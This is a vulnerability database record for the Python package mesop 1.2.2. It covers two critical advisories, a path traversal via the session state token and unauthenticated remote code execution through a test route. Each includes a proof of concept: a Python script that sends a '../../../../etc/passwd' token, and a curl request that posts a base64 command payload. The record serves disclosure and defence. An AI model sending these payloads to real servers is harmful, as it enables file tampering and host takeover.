Lookup for vulnerable packages by Package URL.

Purlpkg:pypi/mesop@1.2.2
Typepypi
Namespace
Namemesop
Version1.2.2
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version1.2.5
Latest_non_vulnerable_version1.2.5
Affected_by_vulnerabilities
0
url VCID-8uyt-v7x6-3ffc
vulnerability_id VCID-8uyt-v7x6-3ffc
summary
Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion
#### Summary
A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

#### Details
When the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. 
In `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.
Because this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). 

```python
# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)
```
Python's standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.

#### PoC
An attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.

```python
import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
)

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)
```

#### Impact
This vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-33054
reference_id
reference_type
scores
0
value 0.00034
scoring_system epss
scoring_elements 0.10352
published_at 2026-06-07T12:55:00Z
1
value 0.00034
scoring_system epss
scoring_elements 0.10295
published_at 2026-06-09T12:55:00Z
2
value 0.00034
scoring_system epss
scoring_elements 0.10266
published_at 2026-06-08T12:55:00Z
3
value 0.00034
scoring_system epss
scoring_elements 0.10392
published_at 2026-06-06T12:55:00Z
4
value 0.00034
scoring_system epss
scoring_elements 0.10373
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-33054
1
reference_url https://github.com/mesop-dev/mesop
reference_id
reference_type
scores
0
value 10.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/mesop-dev/mesop
2
reference_url https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b
reference_id
reference_type
scores
0
value 10
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
1
value 10.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-03-20T13:50:11Z/
url https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b
3
reference_url https://github.com/mesop-dev/mesop/releases/tag/v1.2.3
reference_id
reference_type
scores
0
value 10
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
1
value 10.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-03-20T13:50:11Z/
url https://github.com/mesop-dev/mesop/releases/tag/v1.2.3
4
reference_url https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c
reference_id
reference_type
scores
0
value 10
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
1
value 10.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
3
value CRITICAL
scoring_system generic_textual
scoring_elements
4
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-03-20T13:50:11Z/
url https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-33054
reference_id
reference_type
scores
0
value 10.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-33054
6
reference_url https://github.com/advisories/GHSA-8qvf-mr4w-9x2c
reference_id GHSA-8qvf-mr4w-9x2c
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-8qvf-mr4w-9x2c
fixed_packages
0
url pkg:pypi/mesop@1.2.3
purl pkg:pypi/mesop@1.2.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-66mh-acte-hugp
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/mesop@1.2.3
aliases CVE-2026-33054, GHSA-8qvf-mr4w-9x2c
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-8uyt-v7x6-3ffc
1
url VCID-e1w5-8573-ukge
vulnerability_id VCID-e1w5-8573-ukge
summary
Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py
#### Summary
An explicit web endpoint inside the `ai/` testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

#### Details
The AI codebase package includes a lightweight debugging Flask server inside `ai/sandbox/wsgi_app.py`. The `/exec-py` route accepts base_64 encoded raw string payloads inside the `code` parameter natively evaluated by a basic `POST` web request. It saves it rapidly to the operating system logic path and injects it recursively using `execute_module(module_path...)`.

```python
# ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed
```

#### PoC
```bash
# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker
```

#### Impact
This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-33057
reference_id
reference_type
scores
0
value 0.12897
scoring_system epss
scoring_elements 0.94201
published_at 2026-06-09T12:55:00Z
1
value 0.12897
scoring_system epss
scoring_elements 0.94194
published_at 2026-06-08T12:55:00Z
2
value 0.12897
scoring_system epss
scoring_elements 0.94195
published_at 2026-06-07T12:55:00Z
3
value 0.12897
scoring_system epss
scoring_elements 0.94193
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-33057
1
reference_url https://github.com/mesop-dev/mesop
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/mesop-dev/mesop
2
reference_url https://github.com/mesop-dev/mesop/commit/825f55970c20686de3f28e2c66df4d74e9d4db47
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-03-25T13:51:08Z/
url https://github.com/mesop-dev/mesop/commit/825f55970c20686de3f28e2c66df4d74e9d4db47
3
reference_url https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-03-25T13:51:08Z/
url https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-33057
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-33057
5
reference_url https://github.com/advisories/GHSA-gjgx-rvqr-6w6v
reference_id GHSA-gjgx-rvqr-6w6v
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-gjgx-rvqr-6w6v
fixed_packages
0
url pkg:pypi/mesop@1.2.3
purl pkg:pypi/mesop@1.2.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-66mh-acte-hugp
resource_url http://public2.vulnerablecode.io/packages/pkg:pypi/mesop@1.2.3
aliases CVE-2026-33057, GHSA-gjgx-rvqr-6w6v
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-e1w5-8573-ukge
Fixing_vulnerabilities
Risk_score4.5
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:pypi/mesop@1.2.2